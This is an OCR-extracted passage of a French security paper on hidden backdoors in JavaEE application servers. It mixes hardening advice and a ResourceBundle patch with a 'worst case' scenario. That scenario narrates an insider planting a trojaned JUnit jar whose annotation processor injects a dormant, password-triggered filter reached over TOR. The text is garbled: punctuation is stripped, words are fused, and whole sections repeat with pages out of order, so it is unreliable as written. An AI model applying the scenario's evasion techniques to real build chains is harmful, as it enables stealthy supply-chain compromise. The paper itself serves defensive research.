Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
